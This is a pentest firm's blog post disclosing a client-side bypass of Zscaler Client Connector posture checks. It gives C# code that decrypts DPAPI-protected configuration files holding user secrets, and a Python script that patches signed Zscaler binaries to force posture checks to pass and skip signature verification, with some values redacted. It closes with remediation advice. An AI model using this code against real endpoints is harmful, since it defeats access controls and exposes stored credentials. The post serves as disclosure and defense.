Should you trust your zero trust? Bypassing Zscaler posture checks

Written by Matthieu Barjole , Geoffrey Bertoli , Aymeric Palhière - 08/08/2025 - in Pentest - Download

Zscaler is widely used to enforce zero trust principles by verifying device posture before granting access to internal resources. These checks are meant to provide an additional layer of security beyond credentials and MFA. In this blogpost, we present a vulnerability that allowed us to bypass Zscaler’s posture verification mechanism. Although the issue has been patched for quite some time now, we observed it still being exploitable in several environments during recent engagements. This post details the configuration of the Zscaler client, the weaknesses in its posture check implementation, and how we leveraged them to access internal networks without satisfying the required security conditions.

Looking to improve your skills? Discover our trainings sessions! Learn more.

Introduction

Posture checks are a key component of zero trust architectures. They allow security policies to assess the state of a device before granting access to internal resources. Zscaler supports a wide range of posture checks across both Zscaler Private Access (ZPA) and Zscaler Internet Access (ZIA), including but not limited to OS version, domain membership, EDR status, disk encryption, registry keys, firewall, installed certificates, or the presence of specific files or applications. A full list is available in the official documentation.

This mechanism is particularly important as it provides defense in depth. Classic credentials can no longer be considered sufficient on their own, since phishing and vishing attacks may still result in full session compromise, even with MFA in place. In contrast, posture checks also offer an opportunity to silently detect non-compliant or compromised endpoints and block access before any damage is done.

During recent engagements, we identified that this verification is performed client-side. Thus, we were able to find a way to bypass posture verification on Zscaler clients by modifying their local behavior. Interestingly, the issue had already been (silently, to our knowledge) patched upstream in 2024 (version 4.4), but the vulnerability was still found on multiple occasion in the field, making it worth to publish this research.

In this post, we therefore analyze the configuration of Zscaler’s client, detail the bypass technique, and provide recommendations to mitigate the issue effectively.

Configuration analysis

Following successful authentication, the Client Connector receives configuration parameters from the server and stores them encrypted under C:\ProgramData\Zscaler. Typical contents include:

C:\> dir C:\ProgramData\Zscaler
 Mode     Length Name
 ----     ------ ----
 -a----    26958 7FAFA221E0B3AFA90C28F8A10FFD0304BB16E1D5++config.bak
 -a----    26958 7FAFA221E0B3AFA90C28F8A10FFD0304BB16E1D5++config.dat
 -a----    36120 f786aaef4216810bf8b6b8e1ea24a074.ztc
 -a----      308 users.dat
[...]

Among these files:

  • users.dat contains a list of system user identifiers, which correspond to the names used for the config.dat files.
  • config.dat holds the Client Connector configuration, including user secrets, posture checks, policy exclusions, and more.
  • Files with the .ztc extension list PAC files.
  • Files with .mtt, .mtc, and .mtp extensions relate to the Zscaler Private Access (ZPA) tunnel machine, including tokens, secrets, and policies.

These configuration files are encrypted using Windows Data Protection API (DPAPI) combined with a custom entropy value. This encryption is implemented by the ZSACredentialProvider.dll library located in C:\Windows\System32. We developed a decryption routine leveraging this mechanism, allowing extraction of the configuration content from SYSTEM privileges.

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Zscaler
{
  public class Decrypt
  {
    public static void Main(string[] args) {

      byte[] blob;
      byte[] clear;
      string mode = args[0];
      string path = args[1];
      byte[] entropy;

      entropy = null;
      if (mode == "users")
        entropy = new byte[] {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
      if (mode == "config") {
        byte[] secret = Encoding.UTF8.GetBytes("[...]");
        byte[] tmp = new byte[secret.Length];
        byte[] sid = Encoding.UTF8.GetBytes(args[1]);
        entropy = new byte[secret.Length/2];
        path = args[2];

        for (int i = 0; i < secret.Length; i++) {
          tmp[i] = (byte) (sid[i] ^ secret[i]);
        }
        for (int i = 0; i < tmp.Length / 2; i++) {
          entropy[i] = (byte) (tmp[i] ^ tmp[i+tmp.Length/2]);
        }
      }

      blob = File.ReadAllBytes(path);  
      clear = ProtectedData.Unprotect(blob, entropy, DataProtectionScope.LocalMachine);
      Console.WriteLine(Encoding.UTF8.GetString(clear));
    }
  }
}

The decryption process can be compiled and executed as follows:

C:\> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe decrypt.cs
C:\> .\decrypt.exe config '7F...D5' 'C:\ProgramData\Zscaler\7F...D5++config.dat'

Posture checks bypass

Decrypting config.dat reveals that the posture checks section contains both the requested values and their expected counterparts, alongside the current status of each check. This strongly suggests that the posture verification is performed entirely client-side.

$ jq .clientPolicy.postureInfo.devicePosture config.dat
[
  { "name": "Global Certificate",
    "postureId": 1000,
    "type": 4,
    "clientCerts": [{
      "CACert": "LS0[...]Q0K",
      "certName": "corp-ca.cer",
      "nonExportable": true,
      "performCRLcheck": true }]
  },
  { "name": "Windows CrowdStrike",
    "postureId": 1001,
    "type": 11,
    "crowdStrike": [{
      "certificateThumbprintData": "cd4[...]51a",
      "processNameData": "CSFalconService.exe" }]
  },
  { "name": "Windows Firewall",
    "postureId": 1002,
    "type": 5,
    "firewall": [{ "status": true }]
  },
  { "name": "Windows Domain",
    "postureId": 1003,
    "type": 7,
    "joinedDomains": [{ "domainName": "corp.local" }]
  }
]

The actual evaluation of posture checks occurs within the ZSATrayManager.exe binary. Analysis of this component shows that the posture checks conclude with logic resembling the following pseudo-code:

if (check_passed)
  result = 1;
else
  result = 0;
return result;

This indicates that all posture checks are indeed evaluated locally on the client, with the server only receiving the final boolean results for each check.

As a consequence, an initial patch was introduced into this binary to force posture check results to always succeed on the client side.

However, Zscaler’s internal services communicate via RPC channels that enforce client integrity by validating that connecting processes are signed by Zscaler. For example, the following RPC endpoints are observed:

C:\> accesschk64.exe -o '\RPC Control' | findstr ZSA
\RPC Control\ZSATray_talk_to_me
\RPC Control\ZSAService_talk_to_me
\RPC Control\ZSATrayManager_talk_to_me
\RPC Control\ZSATunnel_talk_to_me

Log files confirm that before establishing an RPC channel, processes verify the signature of the connecting binary:

C:\> Get-Content -Wait -Tail 0 C:\ProgramData\Zscaler\ZSATrayManager_2024-11-17-13-09-59.583579.log
INF ZSATrayManager RPC checking auth
INF Validating process for PID: 5428
INF Process Name: C:\Program Files\Zscaler\ZSATray\ZSATray.exe
INF Signer matches Zscaler SHA2 March 1, 2021
INF RPC connection from a Zscaler signed process
[...]

Each process rejects RPC calls from unsigned binaries, ensuring communication integrity within Zscaler components.

To bypass these protections, modifications were required in several signed binaries, including:

  • ZSAService.exe
  • ZSATunnel.exe
  • ZSATrayManager.exe
  • ZSATrayHelper.dll
#/usr/bin/env python3

BIN_DIR = "binaries/"
RET_1 = "b8 01 00 00 00 C3"
XOR_EAX_EAX_NOP = "31 c0 90 90 90 90"

patches = {
  'ZSATrayManager.exe': [
    {
      'pattern': '44 89 AC 24 80 02 00 00',
      'value': 'C6 84 24 80 02 00 00 01',
      'description': 'Set posture result to 1 (@0x0140256C39)'
    },
    {
      'pattern': '48 89 5C 24 10 48 89 74 24 18 57 48 81 EC 50 02 00 00 48 8B 05 67 8E 80 00 48 33 C4 48 89 84 24 40 02 00 00',
      'value': RET_1,
      'description': 'NOP sub_1402EACB0 checking if process is signed'
    },
    [...]
  ],
  'ZSAService.exe': [
    {
      'pattern': 'FF 15 CC BC 25 00',
      'value': XOR_EAX_EAX_NOP,
      'description': 'NOP call to WinVerifyTrust'
    },
    [...]
  ],
  'ZSATrayHelper.dll': [
    {
      'pattern': '48 8B C4 57 48 81 EC 90 00 00 00 48 C7 40 98 FE FF FF FF 48 89 58 08 48 89 70 10',
      'value': RET_1,
      'description': 'NOP verifyZSAServiceFileSignature() (@0x1800F49D0)'
    }
  ],
  'ZSATunnel.exe': [
    {
      'pattern': '40 55 57 41 54 41 56 41 57 48 8D AC 24 30 E0 FF FF B8 D0 20 00 00 E8 35 BE 02 00 48 2B E0 48 C7',
      'value': RET_1,
      'description': 'NOP sub_140449A60'
    },
    [...]
  ]
}

def patch(patches):
  for file in patches:
    with open(BIN_DIR + file, 'r+b') as f:
      print(f"[+] Patching {file}")
      data = f.read()
      for patch in patches[file]:
        print("  - "+patch['description'])
        offset = data.find(bytes.fromhex(patch['pattern'])) 
        if offset == -1:
          print(f"  Pattern {patch['pattern']} not found, skipping")
          continue
        print(f"  Found at 0x{offset:x}, patching...")
        f.seek(offset)
        f.write(bytes.fromhex(patch['value']))
        print("  Patched!")


if __name__ == '__main__':
  patch(patches)

Replacing the legitimate binaries with the patched versions ultimately allowed to bypass both posture check validation and RPC signature enforcement, resulting in all posture checks reporting success and granting unrestricted access to internal resources as per the configured policies.

C:\> net view \\DC01
Share name  Type  Used as  Comment
----------------------------------------------------
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.

Remediation

As mentioned earlier, this vulnerability was silently patched in version 4.4 of the Zscaler Client Connector in 2024. However, discussions with Zscaler highlighted that applying this patch on the server side requires upgrading all clients beforehand, which may represent a significant operational effort. Despite this, the primary recommendation remains to promptly apply all available patches.

It is critical to enforce posture checks based on strong, tamper-resistant elements rather than easily spoofed attributes such as domain names. Server-validated client certificates provide a robust example (see Zscaler documentation), or at minimum, posture checks should rely on the presence of unpredictable registry values that are difficult for attackers to forge.

Multi-factor authentication must also be enforced consistently across all access points. As a side note, organizations should also avoid excluding public and shared Zscaler IP addresses from MFA requirements, such as through Azure Conditional Access policies. This misconfiguration, frequently observed during assessments, can enable other Zscaler customers to bypass MFA. While Zscaler offers dedicated outbound IP addresses, the safest approach remains to require MFA without exception.

Finally, we recommend ingesting Zscaler logs into your SIEM to monitor device posture status actively. Detecting and investigating failed device posture checks can provide valuable visibility into suspicious access attempts.

Conclusion

Posture checks remain a critical layer for in-depth security, complementing traditional authentication mechanisms. This research highlights that even security software itself requires thorough auditing to ensure its protections cannot be bypassed.